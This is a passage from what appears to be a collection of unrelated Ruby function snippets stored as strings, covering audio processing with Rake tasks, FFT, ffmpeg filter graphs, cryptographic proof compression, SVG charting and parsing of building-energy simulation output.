done_reducing(action)\n @free_tems[[@rindex_tems[action[:with]], action[:with]]] = true\n if action[:output_id] == @last_reduce_id\n @done_reducing = true \n return\n end\n @reduce_queue[action[:output_id]] = true\n end", "def collapse!\n run_command(\"mogrify\", \"-quality\", \"100\", \"#{path}[0]\")\n end", "def calculate\r\n self.strategy.data = time_data if @strategy.data.nil?\r\n @fft = self.strategy.calculate\r\n @data = @fft\r\n end", "def done\n @stats[:avg_buffer_len] = @sum_buffer_len / (@window+1)\n end", "def flatten_voice(voice_data)\n modulating = (voice_data[6] & 0x01) == 0;\n\n # Voices 1 and 2 (for OPL3)\n voice_data[6] |= 0x30;\n\n # 2nd op always has level set to max \n voice_data[12] |= 0x3f;\n\n # 1st op has level set to max if not modulating\n if !modulating\n voice_data[5] |= 0x3f;\n end\nend", "def trim_data\n self.angular_resolution = self.angular_resolution.round(3)\n self.magnitude = self.magnitude.round(3)\n end", "def wave\n bell.mix(saw, saw.pitch(0.505))\n end", "def populate_caves\n for row_i in 1...@height - 1\n for column_i in 1...@width - 1\n if @map[row_i][column_i] == @FLOOR\n union_adjacent_square(row_i, column_i)\n end\n end\n end\n\n @disjoinset.split_sets()\n end", "def consecutive_collapse(arr)\nend", "def to_compress\n a = lx.dup\n b = rx.dup\n ts = transcript.dup\n w = ts.challenge_scalar(\"w\")\n q = GENERATOR_BJ * w\n\n a_sum = a.dup\n b_sum = b.dup\n g_sum = vec_g.dup\n h_sum = vec_h2.dup\n\n terms = []\n until a_sum.length == 1\n a_lo = []\n b_lo = []\n g_lo = []\n h_lo = []\n a_hi = []\n b_hi = []\n g_hi = []\n h_hi = []\n half = a_sum.length / 2\n a_sum.each.with_index do |_, i|\n if i < half\n a_lo << a_sum[i]\n b_lo << b_sum[i]\n g_lo << g_sum[i]\n h_lo << h_sum[i]\n else\n a_hi << a_sum[i]\n b_hi << b_sum[i]\n g_hi << g_sum[i]\n h_hi << h_sum[i]\n end\n end\n alo_bhi = a_lo.zip(b_hi).map { |x, y| FIELD.mod(x * y) }.sum\n ahi_blo = a_hi.zip(b_lo).map { |x, y| FIELD.mod(x * y) }.sum\n\n l_k =\n g_hi.zip(a_lo).map { |x, y| x * y }.sum(INFINITY_J) +\n h_lo.zip(b_hi).map { |x, y| x * y }.sum(INFINITY_J) + q * alo_bhi\n r_k =\n g_lo.zip(a_hi).map { |x, y| x * y }.sum(INFINITY_J) +\n h_hi.zip(b_lo).map { |x, y| x * y }.sum(INFINITY_J) + q * ahi_blo\n\n ts.points << l_k\n ts.points << r_k\n uk = ts.challenge_scalar(\"uk\")\n uk_inv = FIELD.inverse(uk)\n terms << { L: l_k, R: r_k }\n\n a_sum = []\n b_sum = []\n g_sum = []\n h_sum = []\n a_lo.each.with_index do |_, i|\n a_sum << (a_lo[i] * uk + a_hi[i] * uk_inv)\n b_sum << (b_lo[i] * uk_inv + b_hi[i] * uk)\n g_sum << (g_lo[i] * uk_inv + g_hi[i] * uk)\n h_sum << (h_lo[i] * uk + h_hi[i] * uk_inv)\n end\n end\n\n a0 = a_sum.first\n b0 = b_sum.first\n\n Compressed.new(v, p_a, p_s, p_t1, p_t2, tx, tx_bf, e, a0, b0, terms)\n end", "def clear\n @level = 0\n @out = []\n @labels = []\n self\n end", "def clear\n @avi.process_movi do |indices, movi|\n [[], StringIO.new]\n end\n self\n end", "def _reduce_250(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend", "def merge_data_and_clear(old_data)\n merged = merge_data(old_data)\n self.metric_hash = {}\n merged\n end", "def generateRakeForCleaningRecordedFile(iBaseName, iEnv, iCutInfo = nil)\n # 1. Create all needed analysis files\n lRecordedSilenceFileName = getRecordedSilenceFileName(iEnv)\n lRecordedSilenceBaseName = File.basename(lRecordedSilenceFileName)[0..-5]\n\n lAnalyzeSilenceFileName = getRecordedAnalysisFileName(lRecordedSilenceBaseName)\n if (!Rake::Task.task_defined?(lAnalyzeSilenceFileName))\n\n desc \"Generate analysis of silence file for environment #{iEnv}\"\n file lAnalyzeSilenceFileName => lRecordedSilenceFileName do |iTask|\n analyzeFile(iTask.prerequisites[0], iTask.name)\n end\n\n end\n lFFTProfileSilenceFileName = getRecordedFFTProfileFileName(lRecordedSilenceBaseName)\n if (!Rake::Task.task_defined?(lFFTProfileSilenceFileName))\n\n desc \"Generate FFT profile of silence file for environment #{iEnv}\"\n file lFFTProfileSilenceFileName => lRecordedSilenceFileName do |iTask|\n fftProfileFile(iTask.prerequisites[0], iTask.name)\n end\n\n end\n lAnalyzeRecordedFileName = getRecordedAnalysisFileName(iBaseName)\n lRecordedFileName = \"#{getRecordedDir}/#{iBaseName}.wav\"\n\n desc \"Generate analysis of file #{lRecordedFileName}\"\n file lAnalyzeRecordedFileName => lRecordedFileName do |iTask|\n analyzeFile(iTask.prerequisites[0], iTask.name)\n end\n\n # 2. Remove silences from the beginning and the end\n lSilenceRemovedFileName = getSilenceRemovedFileName(iBaseName)\n\n desc \"Remove silences from beginning and end of file #{lRecordedFileName}\"\n file lSilenceRemovedFileName => [ lRecordedFileName, lAnalyzeRecordedFileName, lFFTProfileSilenceFileName, lAnalyzeSilenceFileName ] do |iTask|\n iRecordedFileName, iAnalyzeRecordedFileName, iFFTProfileSilenceFileName, iAnalyzeSilenceFileName = iTask.prerequisites\n\n # Get DC offset from the recorded file\n _, lDCOffsets = getDCOffsets(iAnalyzeRecordedFileName)\n # Get thresholds (without DC offsets) from the silence file\n lSilenceThresholds = getThresholds(iAnalyzeSilenceFileName, :margin => @MusicMasterConf[:Clean][:MarginSilenceThresholds])\n # Get the thresholds with the recorded DC offset, and prepare them to be given to wsk\n lLstStrSilenceThresholdsWithDC = shiftThresholdsByDCOffset(lSilenceThresholds, lDCOffsets).map { |iSilenceThresholdInfo| iSilenceThresholdInfo.join(',') }\n\n # Call wsk\n wsk(iRecordedFileName, iTask.name, 'SilenceRemover', \"--silencethreshold \\\"#{lLstStrSilenceThresholdsWithDC.join('|')}\\\" --attack 0 --release #{@MusicMasterConf[:Clean][:SilenceMin]} --noisefft \\\"#{iFFTProfileSilenceFileName}\\\"\")\n end\n\n # Cut the file if needed\n lFramedFileName = nil\n if (iCutInfo == nil)\n lFramedFileName = lSilenceRemovedFileName\n else\n lFramedFileName = getCutFileName(iBaseName, iCutInfo)\n\n desc \"Extract sample [#{iCutInfo.join(', ')}] from file #{lSilenceRemovedFileName}\"\n file lFramedFileName => lSilenceRemovedFileName do |iTask|\n wsk(iTask.prerequisites.first, iTask.name, 'Cut', \"--begin \\\"#{iCutInfo[0]}\\\" --end \\\"#{iCutInfo[1]}\\\"\")\n end\n\n end\n lDCRemovedFileName = getDCRemovedFileName(iBaseName)\n # Create a target that will change the dependencies of the noise gate dynamically\n lNoiseGatedFileName = getNoiseGateFileName(iBaseName)\n lDependenciesNoiseGateTaskName = \"Dependencies_NoiseGate_#{iBaseName}\".to_sym\n\n desc \"Compute NoiseGate dependencies for file #{lNoiseGatedFileName}\"\n task lDependenciesNoiseGateTaskName => lAnalyzeRecordedFileName do |iTask|\n # Get the basename from the task name\n lBaseName = iTask.name.match(/^Dependencies_NoiseGate_(.*)$/)[1]\n lRecordedAnalysisFileName = iTask.prerequisites.first\n # Get DC offset from the recorded file\n lOffset, lDCOffsets = getDCOffsets(lRecordedAnalysisFileName)\n lSourceFileName = nil\n if (lOffset)\n log_debug \"Noise gated file #{lNoiseGatedFileName} will depend on a DC shifted recording. DC offsets: #{lDCOffsets.inspect}\"\n lSourceFileName = @Context[:CleanFiles][lBaseName][:DCRemovedFileName]\n # Create the corresponding task removing the DC offset\n\n desc \"Remove DC offset from file #{lRecordedAnalysisFileName}\"\n file lSourceFileName => [ lRecordedAnalysisFileName, @Context[:CleanFiles][lBaseName][:FramedFileName] ] do |iDCRemoveTask|\n iRecordedAnalysisFileName, iFramedFileName = iDCRemoveTask.prerequisites\n _, lDCOffsets2 = getDCOffsets(iRecordedAnalysisFileName)\n wsk(iFramedFileName, iDCRemoveTask.name, 'DCShifter', \"--offset \\\"#{lDCOffsets2.map { |iValue| -iValue }.join('|')}\\\"\")\n end\n\n else\n log_debug \"Noise gated file #{lNoiseGatedFileName} does not depend on a DC shifted recording.\"\n lSourceFileName = @Context[:CleanFiles][lBaseName][:FramedFileName]\n end\n # Set prerequisites for the task generating Noise Gate\n Rake::Task[@Context[:CleanFiles][lBaseName][:NoiseGatedFileName]].prerequisites.replace([\n iTask.name,\n lSourceFileName,\n lRecordedAnalysisFileName,\n @Context[:CleanFiles][lBaseName][:SilenceAnalysisFileName],\n @Context[:CleanFiles][lBaseName][:SilenceFFTProfileFileName]\n ])\n end\n\n # Create the Noise Gate file generation target.\n # By default it depends only on the corresponding dependencies task, but its execution will modify its prerequisites.\n\n desc \"Apply Noise Gate to recorded file based on #{iBaseName}\"\n file lNoiseGatedFileName => lDependenciesNoiseGateTaskName do |iTask|\n # Prerequisites list has been setup by the first prerequisite execution\n iSourceFileName, _, iSilenceAnalysisFileName, iSilenceFFTProfileFileName = iTask.prerequisites[1..4]\n # Get thresholds (without DC offsets) from the silence file\n lSilenceThresholds = getThresholds(iSilenceAnalysisFileName, :margin => @MusicMasterConf[:Clean][:MarginSilenceThresholds])\n lLstStrSilenceThresholds = lSilenceThresholds.map { |iThreshold| iThreshold.join(',') }\n wsk(iSourceFileName, iTask.name, 'NoiseGate', \"--silencethreshold \\\"#{lLstStrSilenceThresholds.join('|')}\\\" --attack #{@MusicMasterConf[:Clean][:Attack]} --release #{@MusicMasterConf[:Clean][:Release]} --silencemin #{@MusicMasterConf[:Clean][:SilenceMin]} --noisefft \\\"#{iSilenceFFTProfileFileName}\\\"\")\n end\n\n # Create embracing task\n rFinalTaskName = \"CleanRecord_#{iBaseName}\".to_sym\n\n desc \"Clean recorded file #{iBaseName}\"\n task rFinalTaskName => lNoiseGatedFileName\n\n # Set context for this file to be cleaned\n @Context[:CleanFiles][iBaseName] = {\n :SilenceAnalysisFileName => lAnalyzeSilenceFileName,\n :SilenceFFTProfileFileName => lFFTProfileSilenceFileName,\n :FramedFileName => lFramedFileName,\n :DCRemovedFileName => lDCRemovedFileName,\n :NoiseGatedFileName => lNoiseGatedFileName\n }\n\n return rFinalTaskName\n end", "def aggregate_after_grouping?; @aggregate_after_grouping; end", "def process\n return nil unless complex?\n []\n end", "def preprocess_data\n # select all points where a time value is present\n @time_points = @track_points.select { |p| !p.time.nil? }\n\n # compute total time in seconds\n @total_time = @time_points.last.time - @time_points.first.time rescue 0\n\n # computes point distances for a sequence of track points\n @point_distances = compute_point_distances(@track_points) # in meters\n @total_distance = compute_total_distance(@point_distances) # in meters\n @accumulated_point_distances = compute_accumulated_distances(@point_distances) # in meters\n\n # computes time points distances for a sequence of time points\n @time_point_distances = compute_point_distances(@time_points) # in meters\n @total_distance_for_time_points = compute_total_distance(@time_point_distances) # in meters\n @accumulated_time_point_distances = compute_accumulated_distances(@time_point_distances) # in meters\n end", "def tune_sliding_widow(datapoints)\n\n window_value = params[:parList][\"windowValue\"].to_i > 0 ? params[:parList][\"windowValue\"].to_i : 1;\n st_time, st_val = [],[];\n moving_sum, count = 0, 0;\n datapoints_tune = []\n\n for k in 0..datapoints.size-1\n if count < window_value and datapoints[k][\"Val\"] != nil\n moving_sum += datapoints[k][\"Val\"]\n st_time << datapoints[k][\"StartTime\"]\n st_val << datapoints[k][\"Val\"]\n count += 1 \n elsif datapoints[k][\"Val\"] != nil\n if datapoints_tune.size==0\n avg = moving_sum/window_value;\n final = st_time[st_time.size-1]\n datapoints_tune.push({\"StartTime\"=>final, \"Val\"=>avg, \"Total\"=>moving_sum})\n end\n moving_sum -= st_val.shift;\n st_val << datapoints[k][\"Val\"]\n moving_sum += datapoints[k][\"Val\"];\n avg = moving_sum/window_value;\n datapoints_tune.push({\"StartTime\"=>datapoints[k][\"StartTime\"], \"Val\"=>avg,\"Total\"=>moving_sum}) \n else\n datapoints_tune.push({\"StartTime\"=>datapoints[k][\"StartTime\"], \"Val\"=>nil,\"Total\"=>moving_sum})\n end\n end\n # Corner case, if window points is equal or larger than the size of total datapoints\n if datapoints_tune.size==0\n avg = moving_sum/window_value;\n final = st_time[st_time.size-1]\n datapoints_tune.push({\"StartTime\"=>final, \"Val\"=>avg,\"Total\"=>moving_sum})\n end\n return datapoints_tune\n end", "def burn\n raise \"No data available\" unless @data.size > 0\n \n calculations if respond_to? :calculations\n\n start_svg\n calculate_graph_dimensions\n @foreground = Element.new( \"g\" )\n draw_graph\n draw_titles\n draw_legend\n draw_data\n @graph.add_element( @foreground )\n style\n\n data = \"\"\n @doc.write( data, 0 )\n\n if @config[:compress]\n if @@__have_zlib\n inp, out = IO.pipe\n gz = Zlib::GzipWriter.new( out )\n gz.write data\n gz.close\n data = inp.read\n else\n data << \"<!-- Ruby Zlib not available for SVGZ -->\";\n end\n end\n \n return data\n end", "def _reduce_708(val, _values, result)\n yyerrok\n \n result\nend", "def fillout\n count.times do |j|\n self[j].clear_hits\n reps = (@len.to_f / (mapee(j).length)).round\n self[j] << reps.eqly_spaced\n end\n end", "def process_each_sample(processor)\n # Make sure we make clones so that we aren't modifying data in\n # place\n newdata = @data.clone\n @data.keys.each { |city|\n newdata[city] = @data[city].clone\n @data[city].size.times { |sample|\n newdata[city][sample] = @data[city][sample].clone\n @data[city][sample].keys.each { |skew|\n if @data[city][sample][skew]\n newdata[city][sample][skew] = @data[city][sample][skew].clone\n ref = @data[city][sample][0] || @data[city][sample][0.to_s]\n cur = @data[city][sample][skew]\n newdata[city][sample][skew] =\n processor.call(city,sample,skew,ref,cur)\n end\n }\n }\n }\n @data = newdata\n end", "def calculate\r\n strategy.data = conjugate(data)\r\n fft_out = strategy.calculate\r\n n = fft_out.length.to_f\r\n conjugate(fft_out){ |real, imag| OpenStruct.new(real: (real / n), imaginary: (imag / n) ) }\r\n end", "def filters\n fail Error, \"Nothing to roll...\" unless @reels\n fail Error, \"Supporting just full_screen for now, sorry.\" unless @reels.all?(&:full_screen?)\n return @filters if @filters\n\n idx = process.output_index(self)\n\n @filters = []\n\n # Concatting\n segments = []\n\n @reels.each_with_index do |curr_reel, i|\n\n lbl = nil\n\n if curr_reel.reel\n\n # NOTE mapping input to this lbl\n\n lbl = \"o#{idx}rl#{i}\"\n\n # NOTE Image-Padding to match the target resolution\n # TODO full screen only at the moment (see exception above)\n\n Ffmprb.logger.debug \"#{self} asking for filters of #{curr_reel.reel.io.inspect} video: #{channel(:video)}, audio: #{channel(:audio)}\"\n @filters.concat(\n curr_reel.reel.filters_for lbl, video: channel(:video), audio: channel(:audio)\n )\n end\n\n trim_prev_at = curr_reel.after || (curr_reel.transition && 0)\n transition_length = curr_reel.transition ? curr_reel.transition.length : 0\n\n if trim_prev_at\n\n # NOTE make sure previous reel rolls _long_ enough AND then _just_ enough\n\n prev_lbl = segments.pop\n\n lbl_pad = \"bl#{prev_lbl}#{i}\"\n # NOTE generously padding the previous segment to support for all the cases\n @filters.concat(\n Filter.blank_source trim_prev_at + transition_length,\n channel(:video).resolution, channel(:video).fps, \"#{lbl_pad}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.silent_source trim_prev_at + transition_length, \"#{lbl_pad}:a\"\n ) if channel?(:audio)\n\n if prev_lbl\n lbl_aux = lbl_pad\n lbl_pad = \"pd#{prev_lbl}#{i}\"\n @filters.concat(\n Filter.concat_v [\"#{prev_lbl}:v\", \"#{lbl_aux}:v\"], \"#{lbl_pad}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.concat_a [\"#{prev_lbl}:a\", \"#{lbl_aux}:a\"], \"#{lbl_pad}:a\"\n ) if channel?(:audio)\n end\n\n if curr_reel.transition\n\n # NOTE Split the previous segment for transition\n\n if trim_prev_at > 0\n @filters.concat(\n Filter.split \"#{lbl_pad}:v\", [\"#{lbl_pad}a:v\", \"#{lbl_pad}b:v\"]\n ) if channel?(:video)\n @filters.concat(\n Filter.asplit \"#{lbl_pad}:a\", [\"#{lbl_pad}a:a\", \"#{lbl_pad}b:a\"]\n ) if channel?(:audio)\n lbl_pad, lbl_pad_ = \"#{lbl_pad}a\", \"#{lbl_pad}b\"\n else\n lbl_pad, lbl_pad_ = nil, lbl_pad\n end\n end\n\n if lbl_pad\n\n # NOTE Trim the previous segment finally\n\n new_prev_lbl = \"tm#{prev_lbl}#{i}a\"\n\n @filters.concat(\n Filter.trim 0, trim_prev_at, \"#{lbl_pad}:v\", \"#{new_prev_lbl}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.atrim 0, trim_prev_at, \"#{lbl_pad}:a\", \"#{new_prev_lbl}:a\"\n ) if channel?(:audio)\n\n segments << new_prev_lbl\n Ffmprb.logger.debug \"Concatting segments: #{new_prev_lbl} pushed\"\n end\n\n if curr_reel.transition\n\n # NOTE snip the end of the previous segment and combine with this reel\n\n lbl_end1 = \"o#{idx}tm#{i}b\"\n lbl_reel = \"o#{idx}tn#{i}\"\n\n if !lbl # no reel\n lbl_aux = \"o#{idx}bk#{i}\"\n @filters.concat(\n Filter.blank_source transition_length, channel(:video).resolution, channel(:video).fps, \"#{lbl_aux}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.silent_source transition_length, \"#{lbl_aux}:a\"\n ) if channel?(:audio)\n end # NOTE else hope lbl is long enough for the transition\n\n @filters.concat(\n Filter.trim trim_prev_at, trim_prev_at + transition_length, \"#{lbl_pad_}:v\", \"#{lbl_end1}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.atrim trim_prev_at, trim_prev_at + transition_length, \"#{lbl_pad_}:a\", \"#{lbl_end1}:a\"\n ) if channel?(:audio)\n\n # TODO the only supported transition, see #*lay\n @filters.concat(\n Filter.blend_v transition_length, channel(:video).resolution, channel(:video).fps, [\"#{lbl_end1}:v\", \"#{lbl || lbl_aux}:v\"], \"#{lbl_reel}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.blend_a transition_length, [\"#{lbl_end1}:a\", \"#{lbl || lbl_aux}:a\"], \"#{lbl_reel}:a\"\n ) if channel?(:audio)\n\n lbl = lbl_reel\n end\n\n end\n\n segments << lbl # NOTE can be nil\n end\n\n segments.compact!\n\n lbl_out = segments[0]\n\n if segments.size > 1\n lbl_out = \"o#{idx}o\"\n\n @filters.concat(\n Filter.concat_v segments.map{|s| \"#{s}:v\"}, \"#{lbl_out}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.concat_a segments.map{|s| \"#{s}:a\"}, \"#{lbl_out}:a\"\n ) if channel?(:audio)\n end\n\n # Overlays\n\n # NOTE in-process overlays first\n\n @overlays.to_a.each_with_index do |over_reel, i|\n next if over_reel.duck # NOTE this is currently a single case of multi-process... process\n\n fail Error, \"Video overlays are not implemented just yet, sorry...\" if over_reel.reel.channel?(:video)\n\n # Audio overlaying\n\n lbl_nxt = \"o#{idx}o#{i}\"\n\n lbl_over = \"o#{idx}l#{i}\"\n @filters.concat( # NOTE audio only, see above\n over_reel.reel.filters_for lbl_over, video: false, audio: channel(:audio)\n )\n @filters.concat(\n Filter.copy \"#{lbl_out}:v\", \"#{lbl_nxt}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.amix_to_first_same_volume [\"#{lbl_out}:a\", \"#{lbl_over}:a\"], \"#{lbl_nxt}:a\"\n ) if channel?(:audio)\n\n lbl_out = lbl_nxt\n end\n\n # NOTE multi-process overlays last\n\n @channel_lbl_ios = {} # XXX this is a spaghetti machine\n @channel_lbl_ios[\"#{lbl_out}:v\"] = io if channel?(:video)\n @channel_lbl_ios[\"#{lbl_out}:a\"] = io if channel?(:audio)\n\n # TODO supporting just \"full\" overlays for now, see exception in #add_reel\n @overlays.to_a.each_with_index do |over_reel, i|\n\n # NOTE this is currently a single case of multi-process... process\n if over_reel.duck\n fail Error, \"Don't know how to duck video... yet\" if over_reel.duck != :audio\n\n Ffmprb.logger.info \"ATTENTION: ducking audio (due to the absence of a simple ffmpeg filter) does not support streaming main input. yet.\"\n\n # So ducking just audio here, ye?\n # XXX check if we're on audio channel\n\n main_av_o = @channel_lbl_ios[\"#{lbl_out}:a\"]\n fail Error, \"Main output does not contain audio to duck\" unless main_av_o\n\n intermediate_extname = Process.intermediate_channel_extname video: main_av_o.channel?(:video), audio: main_av_o.channel?(:audio)\n main_av_inter_i, main_av_inter_o = File.threaded_buffered_fifo(intermediate_extname, reader_open_on_writer_idle_limit: Util::ThreadedIoBuffer.timeout * 2, proc_vis: process)\n @channel_lbl_ios.each do |channel_lbl, io|\n @channel_lbl_ios[channel_lbl] = main_av_inter_i if io == main_av_o # XXX ~~~spaghetti\n end\n process.proc_vis_edge process, main_av_o, :remove\n process.proc_vis_edge process, main_av_inter_i\n Ffmprb.logger.debug \"Re-routed the main audio output (#{main_av_inter_i.path}->...->#{main_av_o.path}) through the process of audio ducking\"\n\n over_a_i, over_a_o = File.threaded_buffered_fifo(Process.intermediate_channel_extname(audio: true, video: false), proc_vis: process)\n lbl_over = \"o#{idx}l#{i}\"\n @filters.concat(\n over_reel.reel.filters_for lbl_over, video: false, audio: channel(:audio)\n )\n @channel_lbl_ios[\"#{lbl_over}:a\"] = over_a_i\n process.proc_vis_edge process, over_a_i\n Ffmprb.logger.debug \"Routed and buffering auxiliary output fifos (#{over_a_i.path}>#{over_a_o.path}) for overlay\"\n\n inter_i, inter_o = File.threaded_buffered_fifo(intermediate_extname, proc_vis: process)\n Ffmprb.logger.debug \"Allocated fifos to buffer media (#{inter_i.path}>#{inter_o.path}) while finding silence\"\n\n ignore_broken_pipes_was = process.ignore_broken_pipes # XXX maybe throw an exception instead?\n process.ignore_broken_pipes = true # NOTE audio ducking process may break the overlay pipe\n\n Util::Thread.new \"audio ducking\" do\n process.proc_vis_edge main_av_inter_o, inter_i # XXX mark it better\n silence = Ffmprb.find_silence(main_av_inter_o, inter_i)\n\n Ffmprb.logger.debug \"Audio ducking with silence: [#{silence.map{|s| \"#{s.start_at}-#{s.end_at}\"}.join ', '}]\"\n\n Process.duck_audio inter_o, over_a_o, silence, main_av_o,\n process_options: {parent: process, ignore_broken_pipes: ignore_broken_pipes_was, timeout: process.timeout},\n video: channel(:video), audio: channel(:audio)\n end\n end\n\n end\n\n @filters\n end", "def rebuild_weight_array\n end", "def postprocess( scaleData )\n\n stream_out( \"\\n Loading XML elements from #{$gWorkingModelFile} ...\")\n\n # Load all XML elements from HOT2000 file (post-run results now available)\n h2kPostElements = get_elements_from_filename( $gWorkingModelFile )\n\n if ( $gCustomCostAdjustment )\n $gRegionalCostAdj = $gCostAdjustmentFactor\n else\n $gRegionalCostAdj = $RegionalCostFactors[$Locale]\n end\n\n # PVSise Depreciated. To be removed in later versions.\n # $PVsize = $gChoices[\"Opt-StandoffPV\"] # Input examples: \"SizedPV\", \"SizedPV|3kW\", or \"NoPV\"\n $PVInt = $gChoices[\"Opt-H2K-PV\"] # Input examples: \"MonoSi-50m2\", \"NA\"\n if ( $PVInt != \"NA\" )\n $PVIntModel = true\n if ( $PVsize != \"NoPV\" ) # Internal PV model supercedes external!\n $PVsize = \"NoPV\"\n end\n end\n\n # Set flags for reading from Browse.rpt file\n bReadOldERSValue = false\n bUseNextPVLine = false\n bUseNextACLine = false\n bReadAirConditioningLoad = true # Always get Air Conditioning Load (not available in XML)\n\n #Open diagnostics file and possibly read in interesting info !?!\n $lineNo = 0\n if ( $gReadROutStrTxt )\n #begin\n stream_out(\"\\nParsing diagnostics from #{$OutputFolder}\\\\Routstr.txt ...\")\n fRoutStr = File.new(\"#{$OutputFolder}\\\\Routstr.txt\", \"r\")\n\n $SOCparse = false\n $SHTiniparse = false\n $FFBCparse = false\n $EFBCparse = false\n $HPparse = false\n $bHeatingDone = false\n $EBakparse = false\n $GOPparse = false\n # Zero arrays\n 32.times do |n|\n\n $binDatHrs[n+1]=0\n $binDatTmp[n+1]=0\n $binDatTsfB[n+1]=0\n $binDatHLR[n+1]=0\n $binDatT2cap[n+1]=0\n #$binDatT1cap[n+1]=0\n $binDatT2PLR[n+1]=0\n $binDatT1PLR[n+1]=0\n\n end\n\n\n\n while !fRoutStr.eof? do\n\n $lineNo = $lineNo + 1\n\n $lineIn = fRoutStr.readline\n $lineIn.strip!\n\n if ( $lineIn =~ /^\\s*$/ || $bHeatingDone ) then\n next # Skip empty line.\n end\n\n\n #Report binned data in general or SOC modes.\n # (This still calls for a more robust approach that can set the evaluation\n # type from the choice file or cmd line.)\n if ($lineIn =~ /Starting Run: House with standard operating conditions/ ||\n $lineIn =~ /Starting Run: House\\s*$/ )\n debug_out(\"ROUTSTR ? SOC open #{$lineNo} | #{$lineIn} \\n\")\n $SOCparse = true\n elsif ($lineIn =~ /Starting Run: / && $SOCparse)\n debug_out(\"ROUTSTR ? SOC close #{$lineNo} | #{$lineIn} \\n\")\n $SOCparse = false\n end\n\n if ( ! $SOCparse ) then\n next # Skip if we're not within standard OCs.\n end\n\n # Test if cooling sectins have been reached.\n if ( $lineIn =~ /Cooling calculations ../ )\n debug_out(\"ROUTSTR ? COOLING SECTION : #{$lineIn} \\n\")\n $bHeatingDone = true\n next\n end\n\n\n\n # Set flags for sections in the file\n if ($lineIn =~ /SpaceHTini/ )\n debug_out(\"ROUTSTR ? SpaceHTini open #{$lineNo} | #{$lineIn} \\n\")\n $SHTiniparse = true\n elsif ($lineIn =~ /Space00/ && $SHTiniparse )\n debug_out(\"ROUTSTR ? SpaceHTini close #{$lineNo} | #{$lineIn} \\n\")\n $SHTiniparse = false\n end\n\n if ($lineIn =~ /FossilFurnaceBC/ )\n debug_out(\"ROUTSTR ? FossilFurnaceBC open #{$lineNo} | #{$lineIn} \\n\")\n $FFBCparse = true\n elsif ($FFBCparse &&\n ( $lineIn =~ /HPBPLocated/ || $lineIn =~ /ElectricFurnaceBC/ || $lineIn =~ /oSpaceHT/ ) )\n debug_out(\"ROUTSTR ? FossilFurnaceBC close #{$lineNo} | #{$lineIn} \\n\")\n $FFBCparse = false\n end\n\n\n if ($lineIn =~ /GOPBackup: Gas\\/Oil\\/Propane backup../ )\n debug_out(\"ROUTSTR ? Gas/Oil/Propoane backup open #{$lineNo} | #{$lineIn} \\n\")\n $GOPparse = true\n elsif ( $GOPparse &&\n ( $lineIn =~ /HPBPLocated/ || $lineIn =~ /ElectricFurnaceBC/ || $lineIn =~ /oSpaceHT/ ) )\n debug_out(\"ROUTSTR ? Gas/Oil/Propoane backup close #{$lineNo} | #{$lineIn} \\n\")\n $GOPparse = false\n end\n\n\n if ($lineIn =~ /ElectricFurnaceBC/ )\n debug_out(\"ROUTSTR ? ElectricFurnaceBC open #{$lineNo} | #{$lineIn} \\n\")\n $EFBCparse = true\n elsif ($EFBCparse &&\n ( $lineIn =~ /HPBPLocated/ || $lineIn =~ /oSpaceHT/ ) )\n debug_out(\"ROUTSTR ? ElectricFurnaceBC close #{$lineNo} | #{$lineIn} \\n\")\n $EFBCparse = false\n end\n\n if ($lineIn =~ /ElectricBackup: ELECTRIC BACK-UP/ )\n debug_out(\"ROUTSTR ? ElectricBack open #{$lineNo} | #{$lineIn} \\n\")\n $EBakparse = true\n elsif ( $EBakparse &&\n ( $lineIn =~ /ElectricFurnaceBC: ELECTRIC HEAT BELOW CUT-OFF../ ) )\n debug_out(\"ROUTSTR ? ElectricBack close #{$lineNo} | #{$lineIn} \\n\")\n $EBakparse = false\n end\n\n\n if ($lineIn =~ /AboveHPBP @160/ )\n debug_out(\"ROUTSTR ? HP open #{$lineNo} | #{$lineIn} \\n\")\n $HPparse = true\n elsif ( $HPparse &&\n ( $lineIn =~ /FALLS THU OPS/ || $lineIn =~ /Exit AboveHPBP @ 180/ || $lineIn =~/HPBPLocated 180 T/) )\n debug_out(\"ROUTSTR ? HP close #{$lineNo} | #{$lineIn} \\n\")\n $HPparse = false\n end\n\n\n # ==== Parse Data =====\n\n # Read fan power\n if ($lineIn =~ /QFFAN/ )\n debug_out(\"ROUTSTR ? QFFAN : #{$lineNo} | #{$lineIn} \\n\")\n valuesArr = $lineIn.split()\n $FurnFanPower = valuesArr[3]\n $HPFanPower = valuesArr[4]\n debug_out(\"ROUTSTR ? #{$lineNo} | QFFAN = #{$FurnFanPower} , QHPFAN = #{$HPFanPower} \\n \")\n end\n\n # Read T1 capacity\n if ($lineIn =~ /oSpaceHT FURNPW/ )\n valuesArr = $lineIn.split()\n debug_out(\"ROUTSTR ? oCpaceHTFURN : #{$lineIn} \\n\")\n $T1Capacity = valuesArr[2]\n end\n\n # Get SH bin definitions\n if ($SHTiniparse)\n debug_out(\"ROUTSTR ? SHITI : #{$lineIn} \\n\")\n # Headerline - ignore\n if ($lineIn =~ /Bin BinHours TbinC HLcvs HLAir TsfB CShtr HLR0 HLR1 HLR2/ )\n\n else\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHrs[binNo] = valuesArr[1].to_f\n $binDatTmp[binNo] = valuesArr[2].to_f\n $binDatTsfB[binNo] = valuesArr[5].to_f\n end\n\n end\n\n\n\n\n\n # Get furnace performace data\n if ( $FFBCparse )\n debug_out(\"ROUTSTR ? FossilFurnace : #{$lineIn} \\n\")\n if ($lineIn =~ /FossilFurnaceBC:/ || $lineIn !~ /^\\s*[0-9]/)\n # Header - ignore\n else\n\n debug_out(\">>>FOSIL Furnace Parsing #{$lineIn} \\n\")\n valuesArr = $lineIn.split()\n binNo = valuesArr[0].to_i\n $binDatHLR[binNo] = valuesArr[3].to_f\n $binDatT1PLR[binNo] = valuesArr[6].to_f\n\n\n end\n end\n\n # Get Heat pump w/ electric back-up data\n if ( $EBakparse )\n debug_out(\"ROUTSTR ? E-Backup: #{$lineIn} \\n\")\n if ($lineIn =~ /ElectricFurnaceBC:/ || $lineIn !~ /^\\s*[0-9]/)\n # Header - ignore\n 